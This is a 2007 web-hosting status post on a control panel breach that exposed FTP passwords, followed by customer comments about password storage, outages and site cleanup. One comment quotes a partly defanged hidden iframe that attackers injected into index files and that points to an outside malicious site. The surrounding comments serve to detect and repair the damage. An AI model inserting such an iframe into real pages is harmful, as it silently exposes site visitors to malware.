Security Breach
UPDATE: 2007/06/07 6:49PM PDT - We are in the middle a more thorough investigation and some new information has turned up. While we did detect some unauthorized access to our user web control panel, in at least some cases it looks like that may not be to blame for the compromised ftp accounts. In some isolated cases it appears that there may be security problems on end-user computers as well. If you have been affected by this, please do whatever checks on your own computer you can as a precaution. Our investigation is covering all possible attack points and this is one of the possibilities.
Also note that we now have confirmed information that these ftp account hijackings are happening on other web hosts as well and it looks very likely like there’s more to this situation than just the security problem we detected within our own system.
We are now forcing all of the affected users who have not yet changed their passwords to do so before they will be able to upload anything again. This is necessary so we can continue to monitor the situation and see clearly what’s going on.
Original post:
A very small subset of our user accounts have been compromised due to a security flaw in our web control panel software. We have already notified those of you affected directly via email, aside from dedicated server customers who are being notified right now. If you are not on a dedicated server and you have not gotten an email from us your account has not been compromised and is likely safe. It’s still a good idea to change your ftp and web control panel password as a precautionary measure.
The security flaw allowed the attackers to log into our customer web control panel with the access privileges of another user. From our web panel they were able to access individual user password information. The attackers also attempted to gain access to our central database and billing information but were ultimately thwarted in that attempt. No credit card information or customer personal information was obtained.
.
June 6th, 2007 at 4:13 pm
Why the hell are you storing FTP passwords in plain text in the first place?
June 6th, 2007 at 4:16 pm
Nobody said they were.
they said “access individual user password information”
June 6th, 2007 at 4:19 pm
@gavin
Because most users don’t, and they tend to forget their passwords…..
June 6th, 2007 at 4:20 pm
I’ve always ignored mass downtimes, slowness of download speeds, general low perfomance and high page generation speeds, but now with this, I think it’s enough. Already moved onto another host which I paid a lot more for and I’m satisfied.
Thanks for the cheap service I enjoyed, but there have been too many problems and I really can’t complain considering I got it for a really low price (coupon), but at the end it came to what’s been proven million times - you get what you pay.
Bye.
June 6th, 2007 at 4:20 pm
So if they had access to the panel, mail passwords are compromised as well.
Nice - that’ll be fun to change all of those.
June 6th, 2007 at 4:24 pm
That is a really bad explanation ‘free iCal hosting’. Only because some people can’t remember their passwords or type them on a piece of paper and keep it in their wallet or something doesen’t mean that DH should store passwords in plain files. And yes, they do that. If you ever played with their panel, you’d notice that for whatever type of service you’ve set your password, you could simply read it afterwards - where most other hosting companies handle it on a way smarter and secure way: hash passwords, if user forgets it, let him change it and update blog/forum/whatever configuratio files. Dreamhost-style definitely isn’t the way to go.
June 6th, 2007 at 4:24 pm
One more thing. Is DH still emailing out passwords for accounts suchs sFTP upon creation or password change. Maybe that should stop.
June 6th, 2007 at 4:35 pm
Even things like cpanel and plesk have security flaws like this… a quick search of google will confirm this.
http://www.google.com/search?q=security+advisory+cpanel
I’m not happy that my account was potentially hacked into, but as with any web software these things always pop up no matter how careful you are.
This is the first security issue i’ve heard of since being with DH (signed up Aug 2002…) so i’m not overly worried about this matter. Annoyed, but I’m more worried about people hacking via my websites forum or installed apps.
June 6th, 2007 at 4:35 pm
My accounts were hacked for a second time about 5 hours ago, having first been hacked on the 24th. Obviously the problem still hasn’t been addressed. The hack attempts are all using FTP (which I no longer use), and are coming from the same IP addresses that everyone else is reporting.
June 6th, 2007 at 4:36 pm
ste, I agree. There’s a suggestion dated 2004-07-01 that says “Don’t ever send user (chosen) passwords via plaintext email.” It’s almost inconceivable to me that this isn’t considered a higher priority, but please go vote for that suggestion if you haven’t already.
June 6th, 2007 at 4:39 pm
Too little, too late,
June 6th, 2007 at 4:52 pm
Simon. If you not longer use FTP have you disabled all your FTP accounts or convert them to sFTP/SSH? What account are they signing is with?
June 6th, 2007 at 5:01 pm
I highly recommend that all DreamHost users change their passwords and really check out their web sites to make sure no one inserted these spam links. There are reports that people who did not get notified from DreamHost also got their accounts hacked. It appears that the 3,500 accounts are a low estimate.
I just did a complete backup of my web site, deleted everything, and reloaded WordPress from a freshly downloaded copy. I am then going to make sure all of my plugins are up-to-date and my theme was not modified. Also changed all of my passwords (dreamhost panel, ftp, e-mail, mysql, etc.).
June 6th, 2007 at 5:02 pm
ste: if you have an ssh account, it automatically gets ftp access.
There is no current way, that I know of, to disable this.
Even in the admin interface, it says (Shell account - allows FTP plus ssh/telnet access.).
*sigh*
June 6th, 2007 at 5:05 pm
What is most interesting that a hack attack was reported to me by my client last Friday (5 days ago). I reported this to DH. They told me that our FTP password was compromised. The password was “very random”, but I accepted the possibility that maybe the client had stored password on thier computer and a trojan or a virus had nicked it. So I recovered the modified pages from backups.
Now one of my other clients got notification and his sites are down. I checked the source and judging by the footprint left by the hacker it was the same exploit. What they did is simply append, or sometimes overwrite links at the bottom of the page. All inserts begin with comment code. First client had links pointing to some zoo porn and another one to some gallery site which was already down when I looked at it.
June 6th, 2007 at 5:05 pm
ste, you do use FTP, if you ever upload a file to your site, or change it, you use http://FTP. FTP stands for File Transfer Protocol and it is the only protocol you can use to transfer an entire file to a server. Even web-based file uploaders use FTP, so…you’re wrong.
And DH, I didn’t get an e-mail, so I assume I haven’t been hacked, but my site suddenly went down, it worked one minute, then I restarted my computer and got back on about 10 minutes after it restarted (so about an 11 minute break) and the site wouldn’t load. Web based FTP works, but I can’t do windows FTP and I can’t get onto any of the domains or sub domains.
June 6th, 2007 at 5:19 pm
I don’t think anything has been exploited more than CPanel.
While this is not a good thing, I doubt any panel out there has had fewer holes poked in it than DH’s.
June 6th, 2007 at 5:20 pm
@ HaLo2FrEeEk
Chill. Then read: SSH file transfer protocol. While it is technically FTP it’s secure, as in encrypted, and i assume that is what ste meant.
>
June 6th, 2007 at 5:23 pm
@HaLo2FrEeEk
you do use FTP, if you ever upload a file to your site, or change it, you use http://FTP. FTP stands for File Transfer Protocol and it is the only protocol you can use to transfer an entire file to a server.
No, that is almost entirely incorrect. Yes, that is what “FTP” stands for, but there are other ways to upload files to Dreamhost - rsync, sftp and scp (all different protocols running over ssh). Disabling FTP entirely would be an excellent idea - any legacy (usually Windows) software that doesn’t support those protocols really really really needs to be fixed.
Note that while disabling FTP is a good idea in general (storing and sending plaintext passwords over the Internet is just asking for trouble), it doesn’t appear it would have helped in this case.
June 6th, 2007 at 5:23 pm
@HaLo2FrEeEk
>FTP stands for File Transfer Protocol and it is the only protocol you can use to transfer an entire file to a server.
Rubbish. SFTP is encrypted. There are other flavors of encrypted file transfer as well (FTP with SSL, etc.)
June 6th, 2007 at 5:24 pm
By “our web panel,” are you referring to the panel in general, or an admin level panel that you guys use? (Kinda like what WHM is to CPanel?)
I read that part it like it’s saying the person had the same access as an employee… or am I misunderstanding?
June 6th, 2007 at 5:26 pm
If anyone’s using an FTP client that doesn’t support SFTP, Filezilla is a nice choice–and it’s free.
http://filezilla.sourceforge.net
June 6th, 2007 at 5:43 pm
This is scary.
June 6th, 2007 at 5:50 pm
OK, I’m suspicious that this incident is as minor as DH is claiming based on the description. They contacted me and said 6 of my user accounts had been affected, but none of those accounts could log into the webpanel, they were ftp/ssh only accounts. The only webpanel login that could access them that I’ve given permission to would be… me. So that leaves only my login or one of DH’s own as the culprit.
The thing is, if they exploited this flaw to gain access to the panel with my login privileges then they could see the information for all 200+ user accounts I have. While they apparently haven’t logged in to any of the others yet, that doesn’t mean they don’t have the info and can’t.
Basically, I think if you’ve had one account affected by this then all your accounts are at risk. Changing your Web Panel login would be a good idea, but you probably need to change the password info for every user account you have as well. I could be wrong, but as currently described it sounds like this is one very, very major security breach and DH isn’t doing us any favors by playing down the severity of it. Not to mention that they’re probably better equipped to help us get all these hundreds of passwords changed in short order than the web panel will allow us to.
Hopefully the blog post will clear things up one way or the other, I know it took me most of the day changing passwords and verifying that my users files were unmodified (and fixing the single modified file I did find) and that was just for 6 user accounts. I have no clue how long it’d take me to reset the passwords for every single user I have.
June 6th, 2007 at 6:22 pm
So perhaps DH needs to allow the ability to disable FTP access for accounts that are set up for sFTP or SSH/Shell. This way someone doesn’t get in using the unsecured channel. Of course that just plugs up one hole. If someone has the password, there’s really no stopping them. So I would reiterate that I think DH should stop automatically sending out passwords in clear text via email.
Plus, I’d hope that the DB of passwords is encrypted as well as the Credit Cards in the case that those DH DBs are compromised. In fact, I believe it’s part of the Terms of Service for doing business with Visa/MC/Amex/etc. that all CC numbers are encrypted in all forms of electronic storage. In addition the CVV2 code can never be stored encrypted or not. The only exception is during point of transmission to processor/gateway.
June 6th, 2007 at 6:33 pm
@ste
>So I would reiterate that I think DH should stop automatically sending out passwords in clear text via email.
Sure, that would be a good idea but has nothing to to with this exploit. If the intruder has access to your panel, all bets are off. Picking off the odd email with a plain text password in it out of the sea of emails is a low percentage activity. Nowhere near the payoff of an exploit that gets you access to the panel either.
I second the suggestion of not exposing the current passwords in the panel. If someone forgets a password let them change it only. If that policy was in place this exploit would have been exposed much earlier as the attackers would have had to have changed passwords rather than just retrieve them. That would have alerted users very quickly that something was amiss.
June 6th, 2007 at 6:38 pm
Since it is the password database that has been compromised, I think it is possible that people can SSH into their account, and use “passwd” to manually change their password. Then it would be different from the password stored in DreamHost’s database.
Disabling FTP and using only SFTP/SSH is certainly not going to help here, as the attacker can still grab your password from the compromised database.
June 6th, 2007 at 6:44 pm
would all of you chill the hell down. They said on dedicated servers, or been notified by e-mail. Have any of you been notified by e-mail? If not i suggest you stop wining
June 6th, 2007 at 6:59 pm
I received the email, so stfu.
June 6th, 2007 at 7:13 pm
I suggested this in another post. DH needs to allow us to DISABLE http://FTP. I ONLY use SSH to access our files, but I know of others who have used FTP from time to time. It’s time to stop sending anything over insecure protocols. It’s time for DH to stop letting people send anything over insecure protocols.
June 6th, 2007 at 7:15 pm
And why the hell was FTP made into a link? It should point to open ssh dot org. I’d link to it myself, but I got spam flagged.
June 6th, 2007 at 7:39 pm
how ever my credit card was banned from the bank and they said coz “due to insecure transaction to a web hosting company in america.” I only doing business with DH. so I think this incident have a connection to that. how ever no money was obtained though. But I had to apply for a new card.
June 6th, 2007 at 8:10 pm
At least announce which servers have been compromised. I didn’t receive any email but I’m still freakin worried.
This security breach is bad.. and together with all the downtimes and network problems… not looking so good.
June 6th, 2007 at 8:22 pm
I see three issues here, two of which I’m appalled at:
(1) There is/was a security hole in the panel, which allowed unauthorized access — this can happen, and hopefully they patched it ASAP. As long as they were keeping things updated, that’s a tragedy, but it’s a tough Internet out there. Which is why…
(2) You should never store passwords as plaintext — it’s appalling that an attacker was able to actually recover passwords after gaining access. Passwords stored in a database or elsewhere on disk should be hashed so as not to be recoverable. Totally ridiculous.
(3) Why are only hearing about this now, and why in such poor fashion? The rumors have been floating around for at least a day, and your emails clearly didn’t get to everyone who was compromised. Likewise, this message is extremely vague — what types of passwords were affected? Were email, database, panel accounts all harvested, or just FTP?
This is a DH pattern — get caught with your pants down, then downplay the severity of it and blame the users if they complain. We’ve seen it with the outages, and now this.
June 6th, 2007 at 8:33 pm
I did email support to find out when they thought the issue first started, so I could verify current files against backups from before that time-frame, and they said it probably started around 10 days ago (which would be 11 days now I guess).
Not sure how long it was until they discovered it though. I didn’t ask.
June 6th, 2007 at 8:36 pm
As bad as it is, this is nothing compared to what CPanel hosts constantly have to deal with.
A day? I guess they should have done it like this:
Step 1: Let the whole world know you have a security hole.
Step 2: Let the affected customers know.
Step 3: Fix it.
Doesn’t seem like the right order to me.
I’d also add that regardless of how the passwords are stored, once they access your panel, you are at their mercy. Can’t see a user’s password? Don’t need it to delete the user. Delete some domains, email accounts, etc…
Considering the access that was gained, the damage was minimal.
Again, not good… but I can’t help but think the people that are blowing this up have never heard of CPanel.
In reference to the vagueness, that’s a good way to keep things until you know it’s all over. They’ve stated there would be a bigger post on the subject later.
What passwords were affected? Why not change all of them, just to be safe?
And where did DH blame the users? They said it was a security breach due to a flaw in their panel.
June 6th, 2007 at 10:25 pm
Mike, you’re misleading on a few points so I figured I should clarify:
Well, the whole world already knew. We found out through non-DH blogs. Customers tend to get a little angry when they have to find out that their web host has been hacked through other blogs on the internet. DreamHost’s status blog was supposedly set up to keep customers up to date on any kind of problem and the status of that problem. But when it takes several days for them to finally give an official acknowledgment, customers get a little nervous. What if something happens to our account? Will we also have to wait a few days to get any official word and instead get our information through outside blogs? Thanks, but no thanks.
Also, the steps don’t have to happen independent of one another. You know, it’s actually possible for a medium-sized company to do many things at once, like notify affected customers, start fixing it, and posting a status note to notify customers that they should be on the lookout for nefarious HTML and to change their passwords.
So because it’s CPanel’s fault, it completely absolves DH of any responsibility for securing their servers?
Supposedly it’s mentioned here or in the comments here: http://mezzoblue.com/archives/2007/06/05/unsettling/ but I’m too lazy to read the entire thing right now. So you may be right that DH didn’t *explicitly* blame the users.
June 6th, 2007 at 10:53 pm
Hi,
Mine is one of the accounts affected (I got the email this morning, and found tonight a bunch of files with invisible IFRAMEs inserted this afternoon, and mailbox full of complaints from my messageboard users). I don’t know the full extent of the possible attack symptoms, since this is my only account.
In this case, it appears that the attacker (or most likely script) has iterated through all the FTP directories…any file with a name containing *index* (regardless of extension or the rest of the name, e.g. index.htm index.php index.old index.zzz___ messageIndex.file etc.) was either 0 bytes or replaced with a file of 130 to 132 bytes, which contains in part the following (HTML tags removed of course) :
iframe src=’(http) m-gallery (dot) org/images/111/index.php’ width=1 height=1 style=’visibility: hidden;’
The compromised files were in some cases buried deep within directories I’d long ago forgotten existed, several dozens of hacked files in all. If you got The Email, your files may be compromised similarly (or even entirely differently), and your passwords NEED CHANGING ASAP because this @#$%er is still at it.
After you change ALL your users’ passwords and Web Panel password(?), here is a way to help catch any unauthorized changes to your files. Make sure your user has shell access, then login to your Dreamhost shell account (see the instructions at http://wiki.dreamhost.com/Shell ). Type the following command to produce a full listing of all your files and directories with datestamps:
ls -a -c -lt -h -R > /yoursite.com/dirlist.txt
where /yoursite.com/ is any directory you can access by http://FTP.
(The explanation of this command is: ls (directory listing), [a]ll files, show last-modified time and sort by it, human-readable file sizes, and [R]ecurse subdirectories, and direct the output to file /yoursite.com/dirlist.txt.)
Now you can download the file and search for the most recently modified files (all mine were modified this afternoon, so searching for the string “Jun 6″ turned them all up). You can also search for e.g. ‘index’ to identify other likely compromised files.
HTH
Tim / Drmn4ea
PS. If you have multiple ftp users, doublecheck that you have changed ALL their passwords and did not miss any! I changed the obvious ‘FTP’ user showing in the web panel (turned out not a real user, actually a remnant from some older DH system), but missed the other one, which actually hosted all my files! Late this night I noticed my old FTP password still working when investigating the complaints about my site not loading properly, and slapped my forehead.
PPS. This means the attacking IP(s) were still not blocked, half a day after DH concedes they were aware of the problem…
June 6th, 2007 at 11:18 pm
I have 12 shell/ssh accounts with DH, and 11 of them were compromised (yep, got 11 identical emails from DH telling me so).
What’s even more distressing to me than this particular incident is the lackadaisical attitude DH has about security. This week’s incident is just an example of the consequences.
Case in point: For years now when DH has to move a server or swap out hardware they simply generate a new SSH key for that server. This means the next time a user tries to log in to that server they get a stern warning from their SSH client that the key has changed, and that this may be evidence of an attack. This is because this is exactly what a ‘man in the middle’ attack looks like (the second most common kind of SSH password recovery attack). When I’ve contacted support to complain they just say ‘oh yeah, we swapped out a server’ or worse, simply ‘don’t worry about it. It’s normal. Go and delete the key from your hosts file and it’ll work fine.’
This fosters exactly the kind of complacence and uncertainty in users that makes SSH’s formidable security worthless. It’s no different than installing a big heavy door for your home, but opening it whenever someone knocks.
The plaintext password is just another instance of this careless attitude. Even worse, it’s a security risk for legitimate uses. If I run a company with 100 employees and give them all shell accounts, I give them an initial password with instructions to change it immediately. It’s extremely bad form for I-the-employer to be able to see those passwords, because it’s simply a fact that many of those passwords ill also happen to be the passwords they use for their personal email, online banking, or ATM PIN. Just because they work for me or are on my server doesn’t give me the right to — or them the expectation that I am able to — see their passwords.
If a password is lost then a new one can be generated and distributed. If a password is maliciously reset, then awareness of that intrusion comes much sooner when the rightful user’s credentials fail. believe it or not this is a Good Thing because it prevents spying and helps accelerate damage control.
To keep me and my clients as customers Dreamhost needs to demonstrate that they take data privacy and security seriously, and not just gloss this over with an ‘oops there was this bug, but it’s fixed and we’re all right now’. I get enough of that from Microsoft.
Sincerely,
Kevin Fox
DH customer since 2001
June 6th, 2007 at 11:21 pm
I don’t know about you guys, but when I create a user with SFTP-only access then they can’t login with http://FTP. Unfortunately, if you need shell access then DH gives FTP access automatically, which makes no sense to me …
Also, make sure you don’t confuse SFTP with FTP+SSL, because SFTP is a completely different protocol and is in no way related to http://FTP. And for that matter, SFTP is not tunneling FTP through SSH … it’s a completely different protocol from http://FTP. One of the account options DH gives is the SFTP user which, to my knowledge, does not allow FTP access (FTP access doesn’t work for me at least).
June 6th, 2007 at 11:32 pm
For the paranoid who think they should have gotten an email but didn’t, to see if you’re effected:
1. SSH (telnet *only* if you don’t have a choice, and only if you’re an idiot) into your account(s). If your accounts are all on the same server you need only SSH into one of them.
2.Type last [username], replacing username with your actual shell username, of course, and without the brackets.
3. It’ll show you a list of logins, both via FTP and via telnet/SSH. If you see a login on a date you don’t remember logging in on, from an IP address you don’t recognise, someone probably gained access to your account.
Of note, on some servers (Scipio for one), the file it pulls that information from is apparently reset at the first of the month, if not weekly. But at least you can rule out any *recent* access violations. From the same login, you can perform a last command on any username you have set up through the control panel, if and *only* if they’re on the same server. If the whole idea of trying to figure out what your IP address is is a little beyond you, then apply this thought process. If you didn’t log into your account via FTP in the last week, then FTP connections in the last week to that account are probably from people who shouldn’t have access. At which point, start looking for a backup of your files, and change your password. Which you should be doing anyway but now you have a reason to.
June 6th, 2007 at 11:43 pm
Can’t even check to see if I was or not, all my sites are down(again). This just goes from bad to worse. I already moved my production sites off of DH, all that was left was all of my parked domains. Not those are all offline, unreachable (again). I just want to grab my stuff and move it to a real host (what DH wants to be when it grows up and I can’t even log in now.
Friggin joke company run by kids on drugs.
June 6th, 2007 at 11:59 pm
Yep, I have the same. All my sites are down. Email is not workin. So I do not even know if I have been comprimised. There is no email in my support history, so hopefully all is OK, besides that everythin is down.
June 7th, 2007 at 12:03 am
My problem is my webpanel doesn’t show any of the domains or users or any relevant information. Its as if the account has been reset so I can’t change any FTP settings, etc.
Any ideas what I can do?
June 7th, 2007 at 12:17 am
My site has been breached as well. I would like to change the passwords but when I log into the webpanel none of the domain show up and there are no users listed. It’s as if all webpanel info got erased.
Any suggestions to this problem?
June 7th, 2007 at 12:23 am
Here’s a useful shell command (i.e. log in to your domain via SSH to run it) to show you files modified within the past N number of days:
find ~/mydomain.com/ -mtime -3
Replace the 3 with a 1, or a 2, etc, to search within a different number of days.
June 7th, 2007 at 12:28 am
My sites have been down for hours. No response to trouble tickets, no status page update, nothing! DH has my money, and I have nothing. I am beginning to despise this company.
June 7th, 2007 at 12:44 am
My sites are down too. The server reponds to ping though.
Spunky & York. What are yours?
June 7th, 2007 at 12:47 am
Guys don’t panick and agree so much here. DH staf are I am sure workin very hard now and overtime to solve all the issues. Yes my sites are also down and email also. Be patient and all will be fine.
Go out for a cup of coffee or a beer and tomorrow is a new day
June 7th, 2007 at 1:01 am
Supong. Easier said than done. Having your account compromised is like having your wallet hanging open for all to go through and take what they like. Sure, many will be able to restore they’re account data from backups if they did them but with their accounts compromised any sensitive data they may have is likely in the hands of the folks who pulled this off.
This is a major faux pas that will likely have Dreamhost customers leaving in droves. Unfreaking believable in this day and age.
June 7th, 2007 at 1:03 am
I bet they’re all asleep.
June 7th, 2007 at 1:06 am
What’s the point of this ridiculous status page when they don’t update it until within 15 minutes of them fixing the problem.
June 7th, 2007 at 1:34 am
What I am most interested in knowing is whether DreamHost will be able to restore backups of any and all affected files? I have had around 30 files altered, before getting this rude awakening this morning
June 7th, 2007 at 1:38 am
As far as I can tell, my sites have not been tampered with, but as a precaution I have changed all my account related passwords. When I get a chance I think I’ll re-upload all site content, just in case there is something that I’ve missed.
On a related note, why does it take so long for a new mailbox password to go active? I changed some of mine over 12 hours ago and the old passwords are still active.
Mark
June 7th, 2007 at 1:56 am
Everythin seems back up now and nothin is comprimised as far as I can see
June 7th, 2007 at 1:58 am
Oops now they are offline again
June 7th, 2007 at 2:03 am
Shit happens. That’s all that can be said about this. All you people going “Wah wah wah this is bullshit and I’m getting hosting somewhere else!” should just stop replying to the status blog. There will be security issues everywhere forever.
June 7th, 2007 at 2:11 am
Our sites were down for 2 hours, and FTP was failing, but now everything works again. I wonder what passwords we should be changing?
June 7th, 2007 at 2:20 am
I know this is no way to contact you but since it look like you’re having network trouble, this is the only way I found to tell you that it looks like your’re having major network problems
please post something here to tell us what’s happening
thanks in advance
Baudouin
June 7th, 2007 at 2:20 am
When in doubt, change all of them–including the panel login.
June 7th, 2007 at 2:24 am
So Dreamhost should reschedule the way they do business based on what random bloggers feel like talking about? What business does that?
And they do. Publicly speaking about any security issue should be the last step.
Do you not realize that most hosts tell their customers nothing? There isn’t a host as open as DH.
This could have been covered up and they could have told customers anything. They don’t even owe us a status blog. How many other hosts even have one? How many have one with comments enabled?
You just proved my point. If you knew what CPanel was, you’d know that Dreamhost doesn’t use it… and that’s a GOOD thing, even with the current situation.
CPanel is the most popular, and probably most exploited, panel out there. That’s why I said that the people blowing this whole thing up so much probably don’t know what CPanel is.
Do a Google search for Cpanel Exploits and you’ll feel safe at DH.
I read DH’s post and the letter they sent out, neither of which blame anyone. You might have read a random blog comment somewhere?
June 7th, 2007 at 2:27 am
Webpanel down
All webmail down
Dreamhost.com down
Dreamhost blog down
FTP down
June 7th, 2007 at 2:29 am
help, all my sites on all my dreamhost accounts are down (different servers).
How about posting a message about this?
I’m sure others are affected too.
June 7th, 2007 at 2:33 am
Everything seems to be down for me too. FTP/Control Panel both want my passwords, am I safe to enter them in order to get in touch with customer services? Is there anyway to get in touch with customer support without first going through the control panel?
June 7th, 2007 at 2:33 am
Ian, learn how to use traceroute. It’s your friend. None of those sites are down.
free iCal, the site you linked to isn’t down either.
June 7th, 2007 at 2:34 am
http://www.dreamhost.com/contact.cgi
June 7th, 2007 at 2:36 am
Mike. Learn how not to be a smartass.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator>ping panel.dreamhost.com
Pinging panel.dreamhost.com [66.33.201.130] with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 66.33.201.130:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
C:\Documents and Settings\Administrator>tracert panel.dreamhost.com
Tracing route to panel.dreamhost.com [66.33.201.130]
over a maximum of 30 hops:
1
June 7th, 2007 at 2:37 am
1
June 7th, 2007 at 2:38 am
June 7th, 2007 at 2:39 am
And of course the rest of the results dont show…..
14 214 ms 217 ms 218 ms border1.po1-bbnet1.ext1a.lax.pnap.net [216.52.25
5.31]
15 * * * Request timed out.
16 * * * Request timed out.
17 * * * Request timed out.
18 * * * Request timed out.
19 * * * Request timed out.
20 * * * Request timed out.
21 * * * Request timed out.
22 * * * Request timed out.
23 * * * Request timed out.
24 * * * Request timed out.
25 * * * Request timed out.
26 * * * Request timed out.
27 * * * Request timed out.
28 * * * Request timed out.
29 * * * Request timed out.
30 * * * Request timed out.
Trace complete.
June 7th, 2007 at 2:46 am
same problem as everyone else…everything down…please fix really fast, this is my final right here
June 7th, 2007 at 2:48 am
Right after you learn how not to be a dumbass. Those sites are up.
The internet is not perfect… and Dreamhost doesn’t own every hop between your house and their servers.
This is how the story ends for those of us that don’t have network problems between point A and point B:
13 66 ms 67 ms 66 ms 65.83.239.222
14 97 ms 82 ms 82 ms NEW-DREAM-NETWORKS-LLC-Los-Angeles.ge-0-1-0.410.ar1.LAX3.gblx.net [64.215.183.50]
15 93 ms 78 ms 79 ms panel.dreamhost.com [66.33.201.130]
16 94 ms 78 ms 78 ms panel.dreamhost.com [66.33.201.130]
Trace complete.
June 7th, 2007 at 2:51 am
I am in Thailand and the panel is up and running. Only my sites are down, so I will just wait and DH will handle it all. DH is the best of over 10 hosts I have tried in the past 11 years
June 7th, 2007 at 2:54 am
now it looks like everything is back to normal… ( a bug in the matrix ?)
June 7th, 2007 at 2:58 am
Thanks to the past two days of over 10 hours of down time, DH will never see another cent from me. I had been with my previous web host for 5 years and never experienced anything like this. And if there was a problem I was always kept in the loop.
June 7th, 2007 at 3:09 am
Every page of every site I have with Dreamhost contains 100s of links to porn sites hidden at the bottom of the code. Deleting the spam links and uploading the page again does nothing. It’s added automatically. This is extremely serious!
June 7th, 2007 at 3:18 am
Right. They were perfect. That’s why you left.
June 7th, 2007 at 3:20 am
After changing all my passwords, this find command worked very well for me as a means of finding ALL pages modified within the last 3 days in ALL user accounts under /home on my dedicated server. I was running it as root (sudo bash) from the /home directory:
find ./ -type f \! \( -path ‘*cache/*’ -or -path ‘*logs/*’ -or -path ‘*Maildir/*’ -or -path ‘./m*’ \) -mtime -3 -exec ls -alt {} \; > ~/find_results.txt
You may want to add more paths to the \! expression for ignoring directories that have lots of daily changes that are not worth searching. The ‘./m*’ part of the expression is to skip m###### mail-only users. If you have a regular user that starts with ‘m’ you may need to be more specific.
June 7th, 2007 at 3:21 am
YEH go for it Mike. I am getting sick of these complainers here.
When everything runs smoothly you never here them
June 7th, 2007 at 3:21 am
CHECK YOUR CREDIT CARD RECORDS!
I just got nailed with some suspicious overseas charges from the same business CC# I use to pay dreamhost- had to cancel the card and get reimbursed by the bank. I don’t know if these are related, but it sure seems suspicious as hell. Anybody else seeing fradulent charges?
June 7th, 2007 at 3:52 am
I’m willing to cut DH some slack on the security breach, because no one’s perfect, and I’m sure the same things happen at other hosts. What’s harder to swallow is that I can’t log in to my own server to fix the damage, 14 hours after reporting that problem. I have *dozens* of sites down because the hacker blanked out my pages, and I’m helpless to restore them from backups because SSH times out when I try to log in. I guess DH is swamped dealing with the whole debacle and who knows when I’ll get access to my own (dedicated) server again?
For those who don’t have local backups, DH does back up your site automatically at periodic intervals, so you can restore from those backups — assuming you can log into your user account, which I can’t. More on DH auto-backups here: http://wiki.dreamhost.com/Automated_domain_snapshots
If you’re on a dedicated server, your backups are in: /mnt
It would be nice if there were a web panel interface for restoring from backups. You have to know a bit of Unix command-line to get to and restore from the DH snapshot backups.
June 7th, 2007 at 4:01 am
I’m not sure who to get pissed off more.
Dreamhost for unreliable service, or the dickwads who’re obviously trying to make DH lives miserable, and affecting everyone else who’re just trying to do things.
June 7th, 2007 at 7:30 am
Looks like the virus is still running, I got the email yesterday and fixed my index files. But I did not change my password. This morning, I noticed that the files have been changed. So watch out, really need to change your password. Dreamhost, please please try to trace this guy down and execute him!
June 7th, 2007 at 7:48 am
> Dreamhost, please please try to trace this guy down and execute him!
Before that, run a script to remove all the spam links from the files hosted on your server. Someone should also tell The University of Vermont that they are hosting hundreds of porn pages.
June 7th, 2007 at 8:13 am
When Mike speaks about other hosts not telling anything, I can confirm that. Once my page (on another host) had been defaced and I absolutely got no warning or anything… support even denied that such a thing happened.
June 7th, 2007 at 8:13 am
Thanks, Dreamhost. About 20 websites that I host on a dedicated server have been hacked, their index files completely overwritten by a line of iFrame code. Now I have some explaining to do to several clients.
Again.
I’ve been a client since 1999, and I’ve put up with this kind of shit for 8 years. And each time I threaten to leave, and each time I end up sticking around. I must be a glutton for abuse.
June 7th, 2007 at 8:15 am
It’s always bothered me that you could simple read the passwords set for peoples’ account. It’s also always bothered me that they email the passwords on account creation. Both are extremely bad practices, and this is a prime example of why.
Dreamhost, PLEASE stop doing that. Hash the passwords and deal with the complaints from all the forgetful users. It’s easy enough to add a forgotten password/reset system anyway. PLEASE change your ways, PLEASE!!!!
June 7th, 2007 at 8:21 am
We were hacked last week (shared server). Every site’s index, home, and login page (.php or .html) had the spam appended to the file. Yay! It only took four of us all day to remove it all. grep -lr “DISTINCT SPAM CHARACTERS” /home/yourhomedirectory/* worked for us to find the offending files that were remaining after a massive onslaught of the main directories.
And of course a regular password change (the frequency of which has now increased) as well as a big sign saying NO FTP! being hung up to remind those st-chewpid foos among us.
June 7th, 2007 at 9:14 am
first it’s downtime, and now a sec-breach?! ouch…
DH, can i just say that your (cheap) service really blows?? 70+ load avgs daily… oh, you’ll move me to another server?! sweet, now i can see 85+ loads…. neat. you’re overselling these servers, there’s just too many people sharing them! seems like DH should be charging $0.01 a month…. then we’d get what we pay for, which is apparently SH1T.
so… dh sucks, 1and1 sucks, what about lunar pages? anyone got suggestions for hosting that sux less than DH?
June 7th, 2007 at 9:29 am
I’m going to move to slicehost after this, myself. I could deal with outages, I could deal with overcrowded servers, but this is the final straw for me.
On the brighter side, my blog looks a lot, um, “cleaner” now: http://singlecell.angryamoeba.co.uk
June 7th, 2007 at 9:34 am
THE BOT IS STILL ON THE LOOSE.
I have 4 websites hosted here. This morning two were down and two were fine. I managed to fix the two, but didn’t make it a priority to change my password. Now I notice the other two have been hacked. Be sure to change your passwords!!! I wonder if that will do any good. Luckily, the damage didn’t seem too bad - at least not for me. At least not so far….
June 7th, 2007 at 9:47 am
I’ve hosted my own web/email/ssh server, and plainly, I’m glad someone else gets to clean up this mess. No I’m not the most experienced sysadmin, but dangit, I’m glad someone else is on call when I’m sleeping, especially for the little price I’m paying. Kudos to the guys for catching it.
June 7th, 2007 at 9:57 am
All my websites were hacked! This is big shit of service!
do they have recent backups of muy account?
I liked Dh, but this is too much.
Now my pages are all of them down, not working!
June 7th, 2007 at 10:16 am
You can use sed and find to take out the iframe code. I’ve done it before and it works really well.
June 7th, 2007 at 10:16 am
Re: jose
YES! DreamHost does regular automated backups of everything to make up for your lack of foresight in maintaining your own. They even document it for you. http://wiki.dreamhost.com/Automated_domain_snapshots
Follow the instructions, use the resources and tools provided.
June 7th, 2007 at 10:19 am
So many people here are engaged in a discussion of the relative security of ftp vs. other protocols. But that is absolutely not the issue. Web panel accounts were compromised. (As some one asked, the customer-facing web panel we know and love/hate or some administrative web panel? Anyway, it would seem the latter would have led to the former.) As anyone using Dreamhost must know, ftp passwords (as well as mail passwords) are visible through the panel. These are the same passwords you’ll use for ssh, scp, sftp, etc. It’s the panel’s insecurity that’s the problem. And that’s a big problem. (You might also want to think about the personal and tax information in there if you’re using the rewards program.)
